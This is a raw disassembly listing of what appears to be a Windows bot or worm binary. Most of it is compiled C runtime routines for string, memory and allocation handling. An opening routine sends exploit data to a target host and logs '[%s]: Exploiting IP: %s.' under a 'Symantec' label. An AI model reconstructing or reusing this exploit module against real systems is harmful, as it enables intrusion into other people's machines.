sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_41B7CE loc_41B7C0: ; CODE XREF: ___:0041B6F6j ; ___:0041B752j ... push ebx call dword_4C939C xor eax, eax jmp loc_41B957 ; --------------------------------------------------------------------------- loc_41B7CE: ; CODE XREF: ___:0041B721j ; ___:0041B72Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4C9354 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B4FB mov esi, dword_427088 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4D960C push edi call sub_41B960 test eax, eax pop ecx jbe short loc_41B86E loc_41B831: ; CODE XREF: ___:0041B86Cj mov eax, [ebp-4] movsx eax, byte_4D960C[eax] push eax push offset dword_43A600 lea eax, [ebp-20h] push 3 push eax call sub_41C100 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B4FB add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B960 cmp [ebp-4], eax pop ecx jb short loc_41B831 loc_41B86E: ; CODE XREF: ___:0041B82Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B887: ; CODE XREF: ___:0041B89Ej lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B887 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B4FB add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B8D8: ; CODE XREF: ___:0041B8F0j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B4FB add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B8D8 push ebx call dword_4C939C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C100 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431810[eax] push 1 lea eax, dword_431810[eax] pop eax loc_41B957: ; CODE XREF: ___:0041B7C9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B960 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B980 loc_41B96C: ; CODE XREF: sub_41B960+19j mov al, [ecx] inc ecx test al, al jz short loc_41B9B3 test ecx, 3 jnz short loc_41B96C add eax, 0 loc_41B980: ; CODE XREF: sub_41B960+Aj ; sub_41B960+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B980 mov eax, [ecx-4] test al, al jz short loc_41B9D1 test ah, ah jz short loc_41B9C7 test eax, 0FF0000h jz short loc_41B9BD test eax, 0FF000000h jz short loc_41B9B3 jmp short loc_41B980 ; --------------------------------------------------------------------------- loc_41B9B3: ; CODE XREF: sub_41B960+11j ; sub_41B960+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9BD: ; CODE XREF: sub_41B960+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9C7: ; CODE XREF: sub_41B960+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9D1: ; CODE XREF: sub_41B960+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B960 endp ; =============== S U B R O U T I N E ======================================= sub_41B9DB proc near ; CODE XREF: sub_4010AB+64p ; sub_401AC7+5856p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B9F0 or eax, 0FFFFFFFFh jmp short loc_41BA2A ; --------------------------------------------------------------------------- loc_41B9F0: ; CODE XREF: sub_41B9DB+Ej test al, 83h jz short loc_41BA28 push esi call sub_41E32B push esi mov edi, eax call sub_41E2C5 push dword ptr [esi+10h] call sub_41E212 add esp, 0Ch test eax, eax jge short loc_41BA16 or edi, 0FFFFFFFFh jmp short loc_41BA28 ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: sub_41B9DB+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA28 push eax call sub_41BA31 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA28: ; CODE XREF: sub_41B9DB+17j ; sub_41B9DB+39j ... mov eax, edi loc_41BA2A: ; CODE XREF: sub_41B9DB+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B9DB endp ; =============== S U B R O U T I N E ======================================= sub_41BA31 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A91C+B1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41BA5E push esi call sub_41E477 pop ecx test eax, eax push esi jz short loc_41BA50 push eax call sub_41E4A2 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA31+13j push 0 push dword_4DADA0 nop call near ptr 27C0620h loc_41BA5E: ; CODE XREF: sub_41BA31+7j pop esi retn sub_41BA31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA60 proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA57p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BA84 xor eax, eax jmp loc_41BB2D ; --------------------------------------------------------------------------- loc_41BA84: ; CODE XREF: sub_41BA60+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BA97 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BAA3 ; --------------------------------------------------------------------------- loc_41BA97: ; CODE XREF: sub_41BA60+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BAA3 ; --------------------------------------------------------------------------- loc_41BAA0: ; CODE XREF: sub_41BA60+C4j mov ecx, [ebp+arg_0] loc_41BAA3: ; CODE XREF: sub_41BA60+35j ; sub_41BA60+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BAD5 mov eax, [esi+4] test eax, eax jz short loc_41BAD5 cmp ecx, eax mov edi, ecx jb short loc_41BABA mov edi, eax loc_41BABA: ; CODE XREF: sub_41BA60+56j push edi push dword ptr [esi] push ebx call sub_41CAB0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BB20 ; --------------------------------------------------------------------------- loc_41BAD5: ; CODE XREF: sub_41BA60+49j ; sub_41BA60+50j cmp ecx, [ebp+arg_C] jb short loc_41BB08 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BAEB xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BAEB: ; CODE XREF: sub_41BA60+80j push eax push ebx push dword ptr [esi+10h] call sub_41F051 add esp, 0Ch test eax, eax jz short loc_41BB32 cmp eax, 0FFFFFFFFh jz short loc_41BB38 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BB20 ; --------------------------------------------------------------------------- loc_41BB08: ; CODE XREF: sub_41BA60+78j push esi call sub_41EF78 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BB3C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BB20: ; CODE XREF: sub_41BA60+73j ; sub_41BA60+A6j cmp [ebp+arg_0], 0 jnz loc_41BAA0 mov eax, [ebp+arg_8] loc_41BB2D: ; CODE XREF: sub_41BA60+1Fj ; sub_41BA60+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BB32: ; CODE XREF: sub_41BA60+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BB3C ; --------------------------------------------------------------------------- loc_41BB38: ; CODE XREF: sub_41BA60+9Fj or dword ptr [esi+0Ch], 20h loc_41BB3C: ; CODE XREF: sub_41BA60+B2j ; sub_41BA60+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BB2D sub_41BA60 endp ; =============== S U B R O U T I N E ======================================= sub_41BB48 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D743+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_41BB63 push [esp+10h+arg_4] call sub_41BC9B pop ecx jmp loc_41BC63 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB48+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_41BB79 push ebx call sub_41BA31 pop ecx loc_41BB72: ; CODE XREF: sub_41BB48+114j xor eax, eax jmp loc_41BC63 ; --------------------------------------------------------------------------- loc_41BB79: ; CODE XREF: sub_41BB48+21j ; sub_41BB48+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BC44 push ebx call sub_41E477 mov ebp, eax pop ecx test ebp, ebp jz loc_41BC21 cmp esi, dword_43A67C ja short loc_41BBE1 push esi push ebx push ebp call sub_41EC82 add esp, 0Ch test eax, eax jz short loc_41BBB0 mov edi, ebx jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBB0: ; CODE XREF: sub_41BB48+62j push esi call sub_41E7CD mov edi, eax pop ecx test edi, edi jz short loc_41BBE1 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BBC7 mov eax, esi loc_41BBC7: ; CODE XREF: sub_41BB48+7Bj push eax push ebx push edi call sub_41CAB0 push ebx push ebp call sub_41E4A2 add esp, 14h loc_41BBD9: ; CODE XREF: sub_41BB48+66j test edi, edi jnz loc_41BC61 loc_41BBE1: ; CODE XREF: sub_41BB48+53j ; sub_41BB48+73j test esi, esi jnz short loc_41BBE8 push 1 pop esi loc_41BBE8: ; CODE XREF: sub_41BB48+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DADA0 call near ptr 27D0000h nop mov edi, eax test edi, edi jz short loc_41BC44 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC0D mov eax, esi loc_41BC0D: ; CODE XREF: sub_41BB48+C1j push eax push ebx push edi call sub_41CAB0 push ebx push ebp call sub_41E4A2 add esp, 14h jmp short loc_41BC40 ; --------------------------------------------------------------------------- loc_41BC21: ; CODE XREF: sub_41BB48+47j test esi, esi jnz short loc_41BC28 push 1 pop esi loc_41BC28: ; CODE XREF: sub_41BB48+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_4DADA0 call near ptr 2870000h nop mov edi, eax loc_41BC40: ; CODE XREF: sub_41BB48+D7j test edi, edi jnz short loc_41BC61 loc_41BC44: ; CODE XREF: sub_41BB48+36j ; sub_41BB48+B9j cmp dword_4D9798, 0 jz short loc_41BC61 push esi call sub_41F247 test eax, eax pop ecx jnz loc_41BB79 jmp loc_41BB72 ; --------------------------------------------------------------------------- loc_41BC61: ; CODE XREF: sub_41BB48+93j ; sub_41BB48+FAj ... mov eax, edi loc_41BC63: ; CODE XREF: sub_41BB48+16j ; sub_41BB48+2Cj pop edi pop esi pop ebp pop ebx retn sub_41BB48 endp ; =============== S U B R O U T I N E ======================================= sub_41BC68 proc near ; CODE XREF: sub_41BC88+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F3D2 test eax, eax jnz short loc_41BC72 retn ; --------------------------------------------------------------------------- loc_41BC72: ; CODE XREF: sub_41BC68+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F262 add esp, 10h retn sub_41BC68 endp ; =============== S U B R O U T I N E ======================================= sub_41BC88 proc near ; CODE XREF: sub_4010AB+18p ; sub_401AC7+582Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC68 add esp, 0Ch retn sub_41BC88 endp ; =============== S U B R O U T I N E ======================================= sub_41BC9B proc near ; CODE XREF: sub_4010AB+6p ; sub_40A91C+63p ... arg_0 = dword ptr 4 push dword_4D9798 push [esp+4+arg_0] call sub_41BCAD pop ecx pop ecx retn sub_41BC9B endp ; =============== S U B R O U T I N E ======================================= sub_41BCAD proc near ; CODE XREF: sub_41BC9B+Ap ; sub_41D735+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BCD6 loc_41BCB4: ; CODE XREF: sub_41BCAD+27j push [esp+arg_0] call sub_41BCD9 test eax, eax pop ecx jnz short locret_41BCD8 cmp [esp+arg_4], eax jz short locret_41BCD8 push [esp+arg_0] call sub_41F247 test eax, eax pop ecx jnz short loc_41BCB4 loc_41BCD6: ; CODE XREF: sub_41BCAD+5j xor eax, eax locret_41BCD8: ; CODE XREF: sub_41BCAD+13j ; sub_41BCAD+19j retn sub_41BCAD endp ; =============== S U B R O U T I N E ======================================= sub_41BCD9 proc near ; CODE XREF: sub_41BCAD+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_43A67C ja short loc_41BCF1 push esi call sub_41E7CD test eax, eax pop ecx jnz short loc_41BD0D loc_41BCF1: ; CODE XREF: sub_41BCD9+Bj test esi, esi jnz short loc_41BCF8 push 1 pop esi loc_41BCF8: ; CODE XREF: sub_41BCD9+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DADA0 nop call near ptr 27D0000h loc_41BD0D: ; CODE XREF: sub_41BCD9+16j pop esi retn sub_41BCD9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD10 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BD63 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BD57 neg ecx and ecx, 3 jz short loc_41BD39 sub edx, ecx loc_41BD33: ; CODE XREF: sub_41BD10+27j mov [edi], al inc edi dec ecx jnz short loc_41BD33 loc_41BD39: ; CODE XREF: sub_41BD10+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BD57 rep stosd test edx, edx jz short loc_41BD5D loc_41BD57: ; CODE XREF: sub_41BD10+18j ; sub_41BD10+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BD57 loc_41BD5D: ; CODE XREF: sub_41BD10+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BD63: ; CODE XREF: sub_41BD10+Aj mov eax, [esp+arg_0] retn sub_41BD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD70 proc near ; CODE XREF: ___:004016BAp ; ___:004016D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41BDF3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BD94 shr ecx, 2 jnz short loc_41BE01 jmp short loc_41BDB5 ; --------------------------------------------------------------------------- loc_41BD94: ; CODE XREF: sub_41BD70+1Bj ; sub_41BD70+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41BDC2 test al, al jz short loc_41BDCA test esi, 3 jnz short loc_41BD94 mov ebx, ecx shr ecx, 2 jnz short loc_41BE01 loc_41BDB0: ; CODE XREF: sub_41BD70+8Fj and ebx, 3 jz short loc_41BDC2 loc_41BDB5: ; CODE XREF: sub_41BD70+22j ; sub_41BD70+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41BDEE dec ebx jnz short loc_41BDB5 loc_41BDC2: ; CODE XREF: sub_41BD70+2Bj ; sub_41BD70+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41BDCA: ; CODE XREF: sub_41BD70+2Fj test edi, 3 jz short loc_41BDE4 loc_41BDD2: ; CODE XREF: sub_41BD70+72j mov [edi], al inc edi dec ecx jz loc_41BE66 test edi, 3 jnz short loc_41BDD2 loc_41BDE4: ; CODE XREF: sub_41BD70+60j mov ebx, ecx shr ecx, 2 jnz short loc_41BE57 loc_41BDEB: ; CODE XREF: sub_41BD70+7Fj ; sub_41BD70+F4j mov [edi], al inc edi loc_41BDEE: ; CODE XREF: sub_41BD70+4Dj dec ebx jnz short loc_41BDEB pop ebx pop esi loc_41BDF3: ; CODE XREF: sub_41BD70+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BDF9: ; CODE XREF: sub_41BD70+A9j ; sub_41BD70+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41BDB0 loc_41BE01: ; CODE XREF: sub_41BD70+20j ; sub_41BD70+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41BDF9 test dl, dl jz short loc_41BE4B test dh, dh jz short loc_41BE41 test edx, 0FF0000h jz short loc_41BE37 test edx, 0FF000000h jnz short loc_41BDF9 mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE37: ; CODE XREF: sub_41BD70+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE41: ; CODE XREF: sub_41BD70+B1j and edx, 0FFh mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE4B: ; CODE XREF: sub_41BD70+ADj xor edx, edx mov [edi], edx loc_41BE4F: ; CODE XREF: sub_41BD70+C5j ; sub_41BD70+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41BE61 loc_41BE57: ; CODE XREF: sub_41BD70+79j xor eax, eax loc_41BE59: ; CODE XREF: sub_41BD70+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41BE59 loc_41BE61: ; CODE XREF: sub_41BD70+E5j and ebx, 3 jnz short loc_41BDEB loc_41BE66: ; CODE XREF: sub_41BD70+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BD70 endp ; =============== S U B R O U T I N E ======================================= sub_41BE6E proc near ; CODE XREF: sub_41BEF9+4p ; sub_4246FC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41BE76: ; CODE XREF: sub_41BE6E+34j cmp dword_43A88C, 1 jle short loc_41BE8E movzx eax, byte ptr [edi] push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_41BE9D ; --------------------------------------------------------------------------- loc_41BE8E: ; CODE XREF: sub_41BE6E+Fj movzx eax, byte ptr [edi] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 8 loc_41BE9D: ; CODE XREF: sub_41BE6E+1Ej test eax, eax jz short loc_41BEA4 inc edi jmp short loc_41BE76 ; --------------------------------------------------------------------------- loc_41BEA4: ; CODE XREF: sub_41BE6E+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41BEB4 cmp esi, 2Bh jnz short loc_41BEB8 loc_41BEB4: ; CODE XREF: sub_41BE6E+3Fj movzx esi, byte ptr [edi] inc edi loc_41BEB8: ; CODE XREF: sub_41BE6E+44j xor ebx, ebx loc_41BEBA: ; CODE XREF: sub_41BE6E+7Bj cmp dword_43A88C, 1 jle short loc_41BECF push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_41BEDA ; --------------------------------------------------------------------------- loc_41BECF: ; CODE XREF: sub_41BE6E+53j mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_41BEDA: ; CODE XREF: sub_41BE6E+5Fj test eax, eax jz short loc_41BEEB lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41BEBA ; --------------------------------------------------------------------------- loc_41BEEB: ; CODE XREF: sub_41BE6E+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41BEF4 neg eax loc_41BEF4: ; CODE XREF: sub_41BE6E+82j pop edi pop esi pop ebp pop ebx retn sub_41BE6E endp ; =============== S U B R O U T I N E ======================================= sub_41BEF9 proc near ; CODE XREF: ___:00401524p ; sub_401AC7+711p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BE6E pop ecx retn sub_41BEF9 endp ; --------------------------------------------------------------------------- mov eax, off_43A64C test eax, eax jz short loc_41BF0F call eax ; sub_41CEB4 loc_41BF0F: ; CODE XREF: ___:0041BF0Bj push offset dword_42902C push offset dword_429018 call sub_41BFEC push offset dword_429014 push offset dword_429000 call sub_41BFEC add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41BF53 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41BF42 proc near ; CODE XREF: sub_41E1C9+1Cp ; sub_42249C+2246p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41BF53 add esp, 0Ch retn sub_41BF42 endp ; =============== S U B R O U T I N E ======================================= sub_41BF53 proc near ; CODE XREF: ___:0041BF39p ; sub_41BF42+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4D975C, edi jnz short loc_41BF70 push [esp+4+arg_0] nop call near ptr 2740594h push eax nop call near ptr 2730D36h loc_41BF70: ; CODE XREF: sub_41BF53+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4D9758, edi mov byte_4D9754, bl jnz short loc_41BFC4 mov eax, dword_4DADB4 test eax, eax jz short loc_41BFB3 mov ecx, dword_4DADB0 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41BFB2 loc_41BF9F: ; CODE XREF: sub_41BF53+5Dj mov eax, [esi] test eax, eax jz short loc_41BFA7 call eax loc_41BFA7: ; CODE XREF: sub_41BF53+50j sub esi, 4 cmp esi, dword_4DADB4 jnb short loc_41BF9F loc_41BFB2: ; CODE XREF: sub_41BF53+4Aj pop esi loc_41BFB3: ; CODE XREF: sub_41BF53+3Cj push offset dword_429038 push offset dword_429030 call sub_41BFEC pop ecx pop ecx loc_41BFC4: ; CODE XREF: sub_41BF53+33j push offset dword_429044 push offset dword_42903C call sub_41BFEC pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41BFEA push [esp+4+arg_0] mov dword_4D975C, edi call near ptr 77E75CB5h nop loc_41BFEA: ; CODE XREF: sub_41BF53+85j pop edi retn sub_41BF53 endp ; =============== S U B R O U T I N E ======================================= sub_41BFEC proc near ; CODE XREF: ___:0041BF19p ; ___:0041BF28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41BFF1: ; CODE XREF: sub_41BFEC+16j cmp esi, [esp+4+arg_4] jnb short loc_41C004 mov eax, [esi] test eax, eax jz short loc_41BFFF call eax loc_41BFFF: ; CODE XREF: sub_41BFEC+Fj add esi, 4 jmp short loc_41BFF1 ; --------------------------------------------------------------------------- loc_41C004: ; CODE XREF: sub_41BFEC+9j pop esi retn sub_41BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C006 proc near ; CODE XREF: ___:004013ADp ; ___:004014B3p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C046 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C053 ; --------------------------------------------------------------------------- loc_41C046: ; CODE XREF: sub_41C006+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C053: ; CODE XREF: sub_41C006+3Ej mov eax, esi pop esi leave retn sub_41C006 endp ; =============== S U B R O U T I N E ======================================= sub_41C058 proc near ; CODE XREF: ___:00401266p ; sub_401AC7+318Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A630, eax retn sub_41C058 endp ; =============== S U B R O U T I N E ======================================= sub_41C062 proc near ; CODE XREF: ___:loc_401376p ; ___:loc_4016A1p ... mov eax, dword_43A630 imul eax, 343FDh add eax, 269EC3h mov dword_43A630, eax sar eax, 10h and eax, 7FFFh retn sub_41C062 endp ; =============== S U B R O U T I N E ======================================= sub_41C080 proc near ; CODE XREF: ___:0040134Bp ; sub_401AC7+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C0FA mov dh, [ecx+1] test dh, dh jz short loc_41C0E7 loc_41C098: ; CODE XREF: sub_41C080+52j ; sub_41C080+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C0BA test al, al jz short loc_41C0B4 loc_41C0A9: ; CODE XREF: sub_41C080+32j mov al, [esi] inc esi loc_41C0AC: ; CODE XREF: sub_41C080+3Fj cmp al, dl jz short loc_41C0BA test al, al jnz short loc_41C0A9 loc_41C0B4: ; CODE XREF: sub_41C080+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C0BA: ; CODE XREF: sub_41C080+23j ; sub_41C080+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C0AC lea edi, [esi-1] loc_41C0C4: ; CODE XREF: sub_41C080+63j mov ah, [ecx+2] test ah, ah jz short loc_41C0F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C098 mov al, [ecx+3] test al, al jz short loc_41C0F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C0C4 jmp short loc_41C098 ; --------------------------------------------------------------------------- loc_41C0E7: ; CODE XREF: sub_41C080+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C726 ; --------------------------------------------------------------------------- loc_41C0F3: ; CODE XREF: sub_41C080+49j ; sub_41C080+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C0FA: ; CODE XREF: sub_41C080+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C100 proc near ; CODE XREF: ___:00401338p ; sub_401AC7+1C08p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C13F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C14C ; --------------------------------------------------------------------------- loc_41C13F: ; CODE XREF: sub_41C100+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C14C: ; CODE XREF: sub_41C100+3Dj mov eax, esi pop esi leave retn sub_41C100 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C151 proc near ; CODE XREF: ___:00401318p ; sub_401AC7+2164p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B960 cmp eax, 1 pop ecx jb short loc_41C18C cmp byte ptr [ebx+1], 3Ah jnz short loc_41C18C mov esi, [ebp+arg_4] test esi, esi jz short loc_41C188 push 2 push ebx 